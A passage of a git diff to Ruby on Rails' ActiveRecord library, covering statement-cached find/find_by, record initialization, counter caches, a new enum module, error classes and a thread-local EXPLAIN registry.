+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You are passing an instance of ActiveRecord::Base to `find`.
+ Please pass the id of the object by calling `.id`
+ MSG
+ end
+ key = primary_key
+
+ s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+ find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+ where(key => params.bind).limit(1)
+ }
+ }
+ record = s.execute([id], self, connection).first
+ unless record
+ raise RecordNotFound, "Couldn't find #{name} with '#{primary_key}'=#{id}"
+ end
+ record
+ rescue RangeError
+ raise RecordNotFound, "Couldn't find #{name} with an out of range value for '#{primary_key}'"
+ end
+
+ def find_by(*args)
+ return super if current_scope || !(Hash === args.first) || reflect_on_all_aggregations.any?
+ return super if default_scopes.any?
+
+ hash = args.first
+
+ return super if hash.values.any? { |v|
+ v.nil? || Array === v || Hash === v
+ }
+
+ # We can't cache Post.find_by(author: david) ...yet
+ return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) }
+
+ key = hash.keys
+
+ klass = self
+ s = find_by_statement_cache[key] || find_by_statement_cache.synchronize {
+ find_by_statement_cache[key] ||= StatementCache.create(connection) { |params|
+ wheres = key.each_with_object({}) { |param,o|
+ o[param] = params.bind
+ }
+ klass.where(wheres).limit(1)
+ }
+ }
+ begin
+ s.execute(hash.values, self, connection).first
+ rescue TypeError => e
+ raise ActiveRecord::StatementInvalid.new(e.message, e)
+ rescue RangeError
+ nil
+ end
+ end
+
+ def find_by!(*args)
+ find_by(*args) or raise RecordNotFound.new("Couldn't find #{name}")
+ end
- generated_feature_methods
+ def initialize_generated_modules
+ generated_association_methods
end
- def generated_feature_methods
- @generated_feature_methods ||= begin
- mod = const_set(:GeneratedFeatureMethods, Module.new)
+ def generated_association_methods
+ @generated_association_methods ||= begin
+ mod = const_set(:GeneratedAssociationMethods, Module.new)
include mod
mod
end
@@ -106,6 +213,8 @@ module ActiveRecord
super
elsif abstract_class?
"#{super}(abstract)"
+ elsif !connected?
+ "#{super} (call '#{super}.connection' to establish a connection)"
elsif table_exists?
attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
"#{super}(#{attr_list})"
@@ -122,27 +231,26 @@ module ActiveRecord
# Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
#
# class Post < ActiveRecord::Base
- # scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+ # scope :published_and_commented, -> { published.and(self.arel_table[:comments_count].gt(0)) }
# end
- def arel_table
- @arel_table ||= Arel::Table.new(table_name, arel_engine)
+ def arel_table # :nodoc:
+ @arel_table ||= Arel::Table.new(table_name)
end
# Returns the Arel engine.
- def arel_engine
- @arel_engine ||= begin
+ def arel_engine # :nodoc:
+ @arel_engine ||=
if Base == self || connection_handler.retrieve_connection_pool(self)
self
else
superclass.arel_engine
end
- end
end
private
def relation #:nodoc:
- relation = Relation.new(self, arel_table)
+ relation = Relation.create(self, arel_table)
if finder_needs_type_condition?
relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
@@ -160,21 +268,19 @@ module ActiveRecord
# ==== Example:
# # Instantiates a single new object
# User.new(first_name: 'Jamie')
- def initialize(attributes = nil)
- defaults = self.class.column_defaults.dup
- defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
-
- @attributes = self.class.initialize_attributes(defaults)
- @columns_hash = self.class.column_types.dup
+ def initialize(attributes = nil, options = {})
+ @attributes = self.class._default_attributes.dup
init_internals
- ensure_proper_type
- populate_with_current_scope_attributes
+ initialize_internals_callback
- assign_attributes(attributes) if attributes
+ self.class.define_attribute_methods
+ # +options+ argument is only needed to make protected_attributes gem easier to hook.
+ # Remove it when we drop support to this gem.
+ init_attributes(attributes, options) if attributes
yield self if block_given?
- run_callbacks :initialize unless _initialize_callbacks.empty?
+ _run_initialize_callbacks
end
# Initialize an empty model object from +coder+. +coder+ must contain
@@ -188,15 +294,16 @@ module ActiveRecord
# post.init_with('attributes' => { 'title' => 'hello world' })
# post.title # => 'hello world'
def init_with(coder)
- @attributes = self.class.initialize_attributes(coder['attributes'])
- @columns_hash = self.class.column_types.merge(coder['column_types'] || {})
+ @attributes = coder['attributes']
init_internals
- @new_record = false
+ @new_record = coder['new_record']
- run_callbacks :find
- run_callbacks :initialize
+ self.class.define_attribute_methods
+
+ _run_find_callbacks
+ _run_initialize_callbacks
self
end
@@ -229,27 +336,17 @@ module ActiveRecord
##
def initialize_dup(other) # :nodoc:
- cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
- self.class.initialize_attributes(cloned_attributes, :serialized => false)
-
- @attributes = cloned_attributes
- @attributes[self.class.primary_key] = nil
+ @attributes = @attributes.dup
+ @attributes.reset(self.class.primary_key)
- run_callbacks(:initialize) unless _initialize_callbacks.empty?
-
- @changed_attributes = {}
- self.class.column_defaults.each do |attr, orig_value|
- @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
- end
+ _run_initialize_callbacks
@aggregation_cache = {}
@association_cache = {}
- @attributes_cache = {}
@new_record = true
+ @destroyed = false
- ensure_proper_type
- populate_with_current_scope_attributes
super
end
@@ -266,7 +363,10 @@ module ActiveRecord
# Post.new.encode_with(coder)
# coder # => {"attributes" => {"id" => nil, ... }}
def encode_with(coder)
- coder['attributes'] = attributes
+ # FIXME: Remove this when we better serialize attributes
+ coder['raw_attributes'] = attributes_before_type_cast
+ coder['attributes'] = @attributes
+ coder['new_record'] = new_record?
end
# Returns true if +comparison_object+ is the same exact object, or +comparison_object+
@@ -281,7 +381,7 @@ module ActiveRecord
def ==(comparison_object)
super ||
comparison_object.instance_of?(self.class) &&
- id.present? &&
+ !id.nil? &&
comparison_object.id == id
end
alias :eql? :==
@@ -289,12 +389,18 @@ module ActiveRecord
# Delegates to id in order to allow two records of the same type and id to work with something like:
# [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
def hash
- id.hash
+ if id
+ id.hash
+ else
+ super
+ end
end
- # Freeze the attributes hash such that associations are still accessible, even on destroyed records.
+ # Clone and freeze the attributes hash such that associations are still
+ # accessible, even on destroyed records, but cloned models will not be
+ # frozen.
def freeze
- @attributes.freeze
+ @attributes = @attributes.clone.freeze
self
end
@@ -307,6 +413,8 @@ module ActiveRecord
def <=>(other_object)
if other_object.is_a?(self.class)
self.to_key <=> other_object.to_key
+ else
+ super
end
end
@@ -321,16 +429,15 @@ module ActiveRecord
@readonly = true
end
- # Returns the connection currently associated with the class. This can
- # also be used to "borrow" the connection to do database work that isn't
- # easily done without going straight to SQL.
- def connection
- self.class.connection
+ def connection_handler
+ self.class.connection_handler
end
# Returns the contents of the record as a nicely formatted string.
def inspect
- inspection = if @attributes
+ # We check defined?(@attributes) not to issue warnings if the object is
+ # allocated but not initialized.
+ inspection = if defined?(@attributes) && @attributes
self.class.column_names.collect { |name|
if has_attribute?(name)
"#{name}: #{attribute_for_inspect(name)}"
@@ -342,13 +449,79 @@ module ActiveRecord
"#<#{self.class} #{inspection}>"
end
+ # Takes a PP and prettily prints this record to it, allowing you to get a nice result from `pp record`
+ # when pp is required.
+ def pretty_print(pp)
+ pp.object_address_group(self) do
+ if defined?(@attributes) && @attributes
+ column_names = self.class.column_names.select { |name| has_attribute?(name) || new_record? }
+ pp.seplist(column_names, proc { pp.text ',' }) do |column_name|
+ column_value = read_attribute(column_name)
+ pp.breakable ' '
+ pp.group(1) do
+ pp.text column_name
+ pp.text ':'
+ pp.breakable
+ pp.pp column_value
+ end
+ end
+ else
+ pp.breakable ' '
+ pp.text 'not initialized'
+ end
+ end
+ end
+
# Returns a hash of the given methods with their names as keys and returned values as values.
def slice(*methods)
- Hash[methods.map { |method| [method, public_send(method)] }].with_indifferent_access
+ Hash[methods.map! { |method| [method, public_send(method)] }].with_indifferent_access
+ end
+
+ def set_transaction_state(state) # :nodoc:
+ @transaction_state = state
+ end
+
+ def has_transactional_callbacks? # :nodoc:
+ !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_create_callbacks.empty?
end
private
+ # Updates the attributes on this particular ActiveRecord object so that
+ # if it is associated with a transaction, then the state of the AR object
+ # will be updated to reflect the current state of the transaction
+ #
+ # The @transaction_state variable stores the states of the associated
+ # transaction. This relies on the fact that a transaction can only be in
+ # one rollback or commit (otherwise a list of states would be required)
+ # Each AR object inside of a transaction carries that transaction's
+ # TransactionState.
+ #
+ # This method checks to see if the ActiveRecord object's state reflects
+ # the TransactionState, and rolls back or commits the ActiveRecord object
+ # as appropriate.
+ #
+ # Since ActiveRecord objects can be inside multiple transactions, this
+ # method recursively goes through the parent of the TransactionState and
+ # checks if the ActiveRecord object reflects the state of the object.
+ def sync_with_transaction_state
+ update_attributes_from_transaction_state(@transaction_state, 0)
+ end
+
+ def update_attributes_from_transaction_state(transaction_state, depth)
+ if transaction_state && transaction_state.finalized? && !has_transactional_callbacks?
+ unless @reflects_state[depth]
+ restore_transaction_record_state if transaction_state.rolledback?
+ clear_transaction_record_state
+ @reflects_state[depth] = true
+ end
+
+ if transaction_state.parent && !@reflects_state[depth+1]
+ update_attributes_from_transaction_state(transaction_state.parent, depth+1)
+ end
+ end
+ end
+
# Under Ruby 1.9, Array#flatten will call #to_ary (recursively) on each of the elements
# of the array, and then rescues from the possible NoMethodError. If those elements are
# ActiveRecord::Base's, then this triggers the various method_missing's that we have,
@@ -362,20 +535,32 @@ module ActiveRecord
end
def init_internals
- pk = self.class.primary_key
- @attributes[pk] = nil unless @attributes.key?(pk)
-
- @aggregation_cache = {}
- @association_cache = {}
- @attributes_cache = {}
- @previously_changed = {}
- @changed_attributes = {}
- @readonly = false
- @destroyed = false
- @marked_for_destruction = false
- @new_record = true
- @txn = nil
+ @aggregation_cache = {}
+ @association_cache = {}
+ @readonly = false
+ @destroyed = false
+ @marked_for_destruction = false
+ @destroyed_by_association = nil
+ @new_record = true
+ @txn = nil
@_start_transaction_state = {}
+ @transaction_state = nil
+ @reflects_state = [false]
+ end
+
+ def initialize_internals_callback
+ end
+
+ # This method is needed to make protected_attributes gem easier to hook.
+ # Remove it when we drop support to this gem.
+ def init_attributes(attributes, options)
+ assign_attributes(attributes)
+ end
+
+ def thaw
+ if frozen?
+ @attributes = @attributes.dup
+ end
end
end
end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index 81f92db271..101889638d 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -11,7 +11,7 @@ module ActiveRecord
# ==== Parameters
#
# * +id+ - The id of the object you wish to reset a counter on.
- # * +counters+ - One or more counter names to reset
+ # * +counters+ - One or more association counters to reset. Association name or counter name can be given.
#
# ==== Examples
#
@@ -19,8 +19,14 @@ module ActiveRecord
# Post.reset_counters(1, :comments)
def reset_counters(id, *counters)
object = find(id)
- counters.each do |association|
- has_many_association = reflect_on_association(association.to_sym)
+ counters.each do |counter_association|
+ has_many_association = _reflect_on_association(counter_association)
+ unless has_many_association
+ has_many = reflect_on_all_associations(:has_many)
+ has_many_association = has_many.find { |association| association.counter_cache_column && association.counter_cache_column.to_sym == counter_association.to_sym }
+ counter_association = has_many_association.plural_name if has_many_association
+ end
+ raise ArgumentError, "'#{self.name}' has no association called '#{counter_association}'" unless has_many_association
if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
has_many_association = has_many_association.through_reflection
@@ -28,13 +34,12 @@ module ActiveRecord
foreign_key = has_many_association.foreign_key.to_s
child_class = has_many_association.klass
- belongs_to = child_class.reflect_on_all_associations(:belongs_to)
- reflection = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+ reflection = child_class._reflections.values.find { |e| e.belongs_to? && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
counter_name = reflection.counter_cache_column
stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
- arel_table[counter_name] => object.send(association).count
- })
+ arel_table[counter_name] => object.send(counter_association).count(:all)
+ }, primary_key)
connection.update stmt
end
return true
@@ -49,7 +54,7 @@ module ActiveRecord
# ==== Parameters
#
# * +id+ - The id of the object you wish to update a counter on or an Array of ids.
- # * +counters+ - An Array of Hashes containing the names of the fields
+ # * +counters+ - A Hash containing the names of the fields
# to update as keys and the amount to update the field by as values.
#
# ==== Examples
@@ -76,15 +81,15 @@ module ActiveRecord
"#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
end
- where(primary_key => id).update_all updates.join(', ')
+ unscoped.where(primary_key => id).update_all updates.join(', ')
end
# Increment a numeric field by one, via a direct SQL update.
#
- # This method is used primarily for maintaining counter_cache columns used to
- # store aggregate values. For example, a DiscussionBoard may cache posts_count
- # and comments_count to avoid running an SQL query to calculate the number of
- # posts and comments there are each time it is displayed.
+ # This method is used primarily for maintaining counter_cache columns that are
+ # used to store aggregate values. For example, a DiscussionBoard may cache
+ # posts_count and comments_count to avoid running an SQL query to calculate the
+ # number of posts and comments there are, each time it is displayed.
#
# ==== Parameters
#
@@ -117,5 +122,44 @@ module ActiveRecord
update_counters(id, counter_name => -1)
end
end
+
+ private
+
+ def _create_record(*)
+ id = super
+
+ each_counter_cached_associations do |association|
+ if send(association.reflection.name)
+ association.increment_counters
+ @_after_create_counter_called = true
+ end
+ end
+
+ id
+ end
+
+ def destroy_row
+ affected_rows = super
+
+ if affected_rows > 0
+ each_counter_cached_associations do |association|
+ foreign_key = association.reflection.foreign_key.to_sym
+ unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
+ if send(association.reflection.name)
+ association.decrement_counters
+ end
+ end
+ end
+ end
+
+ affected_rows
+ end
+
+ def each_counter_cached_associations
+ _reflections.each do |name, reflection|
+ yield association(name) if reflection.belongs_to? && reflection.counter_cache_column
+ end
+ end
+
end
end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index 3bac31c6aa..e94b74063e 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -6,8 +6,12 @@ module ActiveRecord
# then we can remove the indirection.
def respond_to?(name, include_private = false)
- match = Method.match(self, name)
- match && match.valid? || super
+ if self == Base
+ super
+ else
+ match = Method.match(self, name)
+ match && match.valid? || super
+ end
end
private
@@ -35,7 +39,7 @@ module ActiveRecord
end
def pattern
- /^#{prefix}_([_a-zA-Z]\w*)#{suffix}$/
+ @pattern ||= /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
end
def prefix
@@ -84,13 +88,18 @@ module ActiveRecord
"#{finder}(#{attributes_hash})"
end
+ # The parameters in the signature may have reserved Ruby words, in order
+ # to prevent errors, we start each param name with `_`.
+ #
# Extended in activerecord-deprecated_finders
def signature
- attribute_names.join(', ')
+ attribute_names.map { |name| "_#{name}" }.join(', ')
end
+ # Given that the parameters starts with `_`, the finder needs to use the
+ # same parameter name.
def attributes_hash
- "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+ "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(',') + "}"
end
def finder
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
new file mode 100644
index 0000000000..f053372cfb
--- /dev/null
+++ b/activerecord/lib/active_record/enum.rb
@@ -0,0 +1,198 @@
+require 'active_support/core_ext/object/deep_dup'
+
+module ActiveRecord
+ # Declare an enum attribute where the values map to integers in the database,
+ # but can be queried by name. Example:
+ #
+ # class Conversation < ActiveRecord::Base
+ # enum status: [ :active, :archived ]
+ # end
+ #
+ # # conversation.update! status: 0
+ # conversation.active!
+ # conversation.active? # => true
+ # conversation.status # => "active"
+ #
+ # # conversation.update! status: 1
+ # conversation.archived!
+ # conversation.archived? # => true
+ # conversation.status # => "archived"
+ #
+ # # conversation.update! status: 1
+ # conversation.status = "archived"
+ #
+ # # conversation.update! status: nil
+ # conversation.status = nil
+ # conversation.status.nil? # => true
+ # conversation.status # => nil
+ #
+ # Scopes based on the allowed values of the enum field will be provided
+ # as well. With the above example:
+ #
+ # Conversation.active
+ # Conversation.archived
+ #
+ # You can set the default value from the database declaration, like:
+ #
+ # create_table :conversations do |t|
+ # t.column :status, :integer, default: 0
+ # end
+ #
+ # Good practice is to let the first declared status be the default.
+ #
+ # Finally, it's also possible to explicitly map the relation between attribute and
+ # database integer with a +Hash+:
+ #
+ # class Conversation < ActiveRecord::Base
+ # enum status: { active: 0, archived: 1 }
+ # end
+ #
+ # Note that when an +Array+ is used, the implicit mapping from the values to database
+ # integers is derived from the order the values appear in the array. In the example,
+ # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+ # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+ # database.
+ #
+ # Therefore, once a value is added to the enum array, its position in the array must
+ # be maintained, and new values should only be added to the end of the array. To
+ # remove unused values, the explicit +Hash+ syntax should be used.
+ #
+ # In rare circumstances you might need to access the mapping directly.
+ # The mappings are exposed through a class method with the pluralized attribute
+ # name:
+ #
+ # Conversation.statuses # => { "active" => 0, "archived" => 1 }
+ #
+ # Use that class method when you need to know the ordinal value of an enum:
+ #
+ # Conversation.where("status <> ?", Conversation.statuses[:archived])
+ #
+ # Where conditions on an enum attribute must use the ordinal value of an enum.
+ module Enum
+ def self.extended(base) # :nodoc:
+ base.class_attribute(:defined_enums)
+ base.defined_enums = {}
+ end
+
+ def inherited(base) # :nodoc:
+ base.defined_enums = defined_enums.deep_dup
+ super
+ end
+
+ def enum(definitions)
+ klass = self
+ definitions.each do |name, values|
+ # statuses = { }
+ enum_values = ActiveSupport::HashWithIndifferentAccess.new
+ name = name.to_sym
+
+ # def self.statuses statuses end
+ detect_enum_conflict!(name, name.to_s.pluralize, true)
+ klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
+
+ _enum_methods_module.module_eval do
+ # def status=(value) self[:status] = statuses[value] end
+ klass.send(:detect_enum_conflict!, name, "#{name}=")
+ define_method("#{name}=") { |value|
+ if enum_values.has_key?(value) || value.blank?
+ self[name] = enum_values[value]
+ elsif enum_values.has_value?(value)
+ # Assigning a value directly is not a end-user feature, hence it's not documented.
+ # This is used internally to make building objects from the generated scopes work
+ # as expected, i.e. +Conversation.archived.build.archived?+ should be true.
+ self[name] = value
+ else
+ raise ArgumentError, "'#{value}' is not a valid #{name}"
+ end
+ }
+
+ # def status() statuses.key self[:status] end
+ klass.send(:detect_enum_conflict!, name, name)
+ define_method(name) { enum_values.key self[name] }
+
+ # def status_before_type_cast() statuses.key self[:status] end
+ klass.send(:detect_enum_conflict!, name, "#{name}_before_type_cast")
+ define_method("#{name}_before_type_cast") { enum_values.key self[name] }
+
+ pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
+ pairs.each do |value, i|
+ enum_values[value] = i
+
+ # def active?() status == 0 end
+ klass.send(:detect_enum_conflict!, name, "#{value}?")
+ define_method("#{value}?") { self[name] == i }
+
+ # def active!() update! status: :active end
+ klass.send(:detect_enum_conflict!, name, "#{value}!")
+ define_method("#{value}!") { update! name => value }
+
+ # scope :active, -> { where status: 0 }
+ klass.send(:detect_enum_conflict!, name, value, true)
+ klass.scope value, -> { klass.where name => i }
+ end
+ end
+ defined_enums[name.to_s] = enum_values
+ end
+ end
+
+ private
+ def _enum_methods_module
+ @_enum_methods_module ||= begin
+ mod = Module.new do
+ private
+ def save_changed_attribute(attr_name, old)
+ if (mapping = self.class.defined_enums[attr_name.to_s])
+ value = _read_attribute(attr_name)
+ if attribute_changed?(attr_name)
+ if mapping[old] == value
+ clear_attribute_changes([attr_name])
+ end
+ else
+ if old != value
+ set_attribute_was(attr_name, mapping.key(old))
+ end
+ end
+ else
+ super
+ end
+ end
+ end
+ include mod
+ mod
+ end
+ end
+
+ ENUM_CONFLICT_MESSAGE = \
+ "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
+ "this will generate a %{type} method \"%{method}\", which is already defined " \
+ "by %{source}."
+
+ def detect_enum_conflict!(enum_name, method_name, klass_method = false)
+ if klass_method && dangerous_class_method?(method_name)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'class',
+ method: method_name,
+ source: 'Active Record'
+ }
+ elsif !klass_method && dangerous_attribute_method?(method_name)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'instance',
+ method: method_name,
+ source: 'Active Record'
+ }
+ elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
+ raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+ enum: enum_name,
+ klass: self.name,
+ type: 'instance',
+ method: method_name,
+ source: 'another enum'
+ }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index c615d59725..fc28ab585f 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -30,17 +30,18 @@ module ActiveRecord
class SerializationTypeMismatch < ActiveRecordError
end
- # Raised when adapter not specified on connection (or configuration file <tt>config/database.yml</tt>
- # misses adapter field).
+ # Raised when adapter not specified on connection (or configuration file
+ # +config/database.yml+ misses adapter field).
class AdapterNotSpecified < ActiveRecordError
end
- # Raised when Active Record cannot find database adapter specified in <tt>config/database.yml</tt> or programmatically.
+ # Raised when Active Record cannot find database adapter specified in
+ # +config/database.yml+ or programmatically.
class AdapterNotFound < ActiveRecordError
end
- # Raised when connection to the database could not been established (for example when <tt>connection=</tt>
- # is given a nil object).
+ # Raised when connection to the database could not been established (for
+ # example when +connection=+ is given a nil object).
class ConnectionNotEstablished < ActiveRecordError
end
@@ -51,32 +52,48 @@ module ActiveRecord
# Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be
# saved because record is invalid.
class RecordNotSaved < ActiveRecordError
+ attr_reader :record
+
+ def initialize(message, record = nil)
+ @record = record
+ super(message)
+ end
end
# Raised by ActiveRecord::Base.destroy! when a call to destroy would return false.
+ #
+ # begin
+ # complex_operation_that_internally_calls_destroy!
+ # rescue ActiveRecord::RecordNotDestroyed => invalid
+ # puts invalid.record.errors
+ # end
+ #
class RecordNotDestroyed < ActiveRecordError
- end
+ attr_reader :record
- # Raised when SQL statement cannot be executed by the database (for example, it's often the case for
- # MySQL when Ruby driver used is too old).
- class StatementInvalid < ActiveRecordError
- end
-
- # Raised when SQL statement is invalid and the application gets a blank result.
- class ThrowResult < ActiveRecordError
+ def initialize(record)
+ @record = record
+ super()
+ end
end
- # Parent class for all specific exceptions which wrap database driver exceptions
- # provides access to the original exception also.
- class WrappedDatabaseException < StatementInvalid
+ # Superclass for all database execution errors.
+ #
+ # Wraps the underlying database error as +original_exception+.
+ class StatementInvalid < ActiveRecordError
attr_reader :original_exception
- def initialize(message, original_exception)
+ def initialize(message, original_exception = nil)
super(message)
@original_exception = original_exception
end
end
+ # Defunct wrapper class kept for compatibility.
+ # +StatementInvalid+ wraps the original exception now.
+ class WrappedDatabaseException < StatementInvalid
+ end
+
# Raised when a record cannot be inserted because it would violate a uniqueness constraint.
class RecordNotUnique < WrappedDatabaseException
end
@@ -85,23 +102,26 @@ module ActiveRecord
class InvalidForeignKey < WrappedDatabaseException
end
- # Raised when number of bind variables in statement given to <tt>:condition</tt> key (for example,
- # when using +find+ method)
- # does not match number of expected variables.
+ # Raised when number of bind variables in statement given to +:condition+ key
+ # (for example, when using +find+ method) does not match number of expected
+ # values supplied.
#
- # For example, in
+ # For example, when there are two placeholders with only one value supplied:
#
# Location.where("lat = ? AND lng = ?", 53.7362)
- #
- # two placeholders are given but only one variable to fill them.
class PreparedStatementInvalid < ActiveRecordError
end
+ # Raised when a given database does not exist.
+ class NoDatabaseError < StatementInvalid
+ end
+
# Raised on attempt to save stale record. Record is stale when it's being saved in another query after
# instantiation, for example, when two users edit the same wiki page and one starts editing and saves
# the page before the other.
#
- # Read more about optimistic locking in ActiveRecord::Locking module RDoc.
+ # Read more about optimistic locking in ActiveRecord::Locking module
+ # documentation.
class StaleObjectError < ActiveRecordError
attr_reader :record, :attempted_action
@@ -113,8 +133,9 @@ module ActiveRecord
end
- # Raised when association is being configured improperly or
- # user tries to use offset and limit together with has_many or has_and_belongs_to_many associations.
+ # Raised when association is being configured improperly or user tries to use
+ # offset and limit together with +has_many+ or +has_and_belongs_to_many+
+ # associations.
class ConfigurationError < ActiveRecordError
end
@@ -152,19 +173,30 @@ module ActiveRecord
class Rollback < ActiveRecordError
end
- # Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).
+ # Raised when attribute has a name reserved by Active Record (when attribute
+ # has name of one of Active Record instance methods).
class DangerousAttributeError < ActiveRecordError
end
# Raised when unknown attributes are supplied via mass assignment.
class UnknownAttributeError < NoMethodError
+
+ attr_reader :record, :attribute
+
+ def initialize(record, attribute)
+ @record = record
+ @attribute = attribute.to_s
+ super("unknown attribute '#{attribute}' for #{@record.class}.")
+ end
+
end
# Raised when an error occurred while doing a mass assignment to an attribute through the
- # <tt>attributes=</tt> method. The exception has an +attribute+ property that is the name of the
+ # +attributes=+ method. The exception has an +attribute+ property that is the name of the
# offending attribute.
class AttributeAssignmentError < ActiveRecordError
attr_reader :exception, :attribute
+
def initialize(message, exception, attribute)
super(message)
@exception = exception
@@ -177,12 +209,13 @@ module ActiveRecord
# objects, each corresponding to the error while assigning to an attribute.
class MultiparameterAssignmentErrors < ActiveRecordError
attr_reader :errors
+
def initialize(errors)
@errors = errors
end
end
- # Raised when a primary key is needed, but there is not one specified in the schema or model.
+ # Raised when a primary key is needed, but not specified in the schema or model.
class UnknownPrimaryKey < ActiveRecordError
attr_reader :model
@@ -207,6 +240,13 @@ module ActiveRecord
class ImmutableRelation < ActiveRecordError
end
+ # TransactionIsolationError will be raised under the following conditions:
+ #
+ # * The adapter does not support setting the isolation level
+ # * You are joining an existing open transaction
+ # * You are creating a nested (savepoint) transaction
+ #
+ # The mysql, mysql2 and postgresql adapters support setting the transaction isolation level.
class TransactionIsolationError < ActiveRecordError
end
end
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
index 70683eb731..727a9befc1 100644
--- a/activerecord/lib/active_record/explain.rb
+++ b/activerecord/lib/active_record/explain.rb
@@ -1,57 +1,22 @@
require 'active_support/lazy_load_hooks'
+require 'active_record/explain_registry'
module ActiveRecord
module Explain
- def self.extended(base)
- base.mattr_accessor :auto_explain_threshold_in_seconds, instance_accessor: false
- end
-
- # If the database adapter supports explain and auto explain is enabled,
- # this method triggers EXPLAIN logging for the queries triggered by the
- # block if it takes more than the threshold as a whole. That is, the
- # threshold is not checked against each individual query, but against the
- # duration of the entire block. This approach is convenient for relations.
-
- #
- # The available_queries_for_explain thread variable collects the queries
- # to be explained. If the value is nil, it means queries are not being
- # currently collected. A false value indicates collecting is turned
- # off. Otherwise it is an array of queries.
- def logging_query_plan # :nodoc:
- return yield unless logger
-
- threshold = auto_explain_threshold_in_seconds
- current = Thread.current
- if connection.supports_explain? && threshold && current[:available_queries_for_explain].nil?
- begin
- queries = current[:available_queries_for_explain] = []
- start = Time.now
- result = yield
- logger.warn(exec_explain(queries)) if Time.now - start > threshold
- result
- ensure
- current[:available_queries_for_explain] = nil
- end
- else
- yield
- end
- end
-
- # Relation#explain needs to be able to collect the queries regardless of
- # whether auto explain is enabled. This method serves that purpose.
+ # Executes the block with the collect flag enabled. Queries are collected
+ # asynchronously by the subscriber and returned.
def collecting_queries_for_explain # :nodoc:
- current = Thread.current
- original, current[:available_queries_for_explain] = current[:available_queries_for_explain], []
- return yield, current[:available_queries_for_explain]
+ ExplainRegistry.collect = true
+ yield
+ ExplainRegistry.queries
ensure
- # Note that the return value above does not depend on this assigment.
- current[:available_queries_for_explain] = original
+ ExplainRegistry.reset
end
# Makes the adapter execute EXPLAIN for the tuples of queries and bindings.
# Returns a formatted string ready to be logged.
def exec_explain(queries) # :nodoc:
- str = queries && queries.map do |sql, bind|
+ str = queries.map do |sql, bind|
[].tap do |msg|
msg << "EXPLAIN for: #{sql}"
unless bind.empty?
@@ -62,26 +27,12 @@ module ActiveRecord
end.join("\n")
end.join("\n")
- # Overriding inspect to be more human readable, specially in the console.
+ # Overriding inspect to be more human readable, especially in the console.
def str.inspect
self
end
- str
- end
- # Silences automatic EXPLAIN logging for the duration of the block.
- #
- # This has high priority, no EXPLAINs will be run even if downwards
- # the threshold is set to 0.
- #
- # As the name of the method suggests this only applies to automatic
- # EXPLAINs, manual calls to <tt>ActiveRecord::Relation#explain</tt> run.
- def silence_auto_explain
- current = Thread.current
- original, current[:available_queries_for_explain] = current[:available_queries_for_explain], false
- yield
- ensure
- current[:available_queries_for_explain] = original
+ str
end
end
end
diff --git a/activerecord/lib/active_record/explain_registry.rb b/activerecord/lib/active_record/explain_registry.rb
new file mode 100644
index 0000000000..f5cd57e075
--- /dev/null
+++ b/activerecord/lib/active_record/explain_registry.rb
@@ -0,0 +1,30 @@
+require 'active_support/per_thread_registry'
+
+module ActiveRecord
+ # This is a thread locals registry for EXPLAIN. For example
+ #
+ # ActiveRecord::ExplainRegistry.queries
+ #
+ # returns the collected queries local to the current thread.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class ExplainRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ attr_accessor :queries, :collect
+
+ def initialize
+ reset
+ end
+
+ def collect?
+ @collect
+ end
+
+ def reset
+ @collect = false
+ @queries = []
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
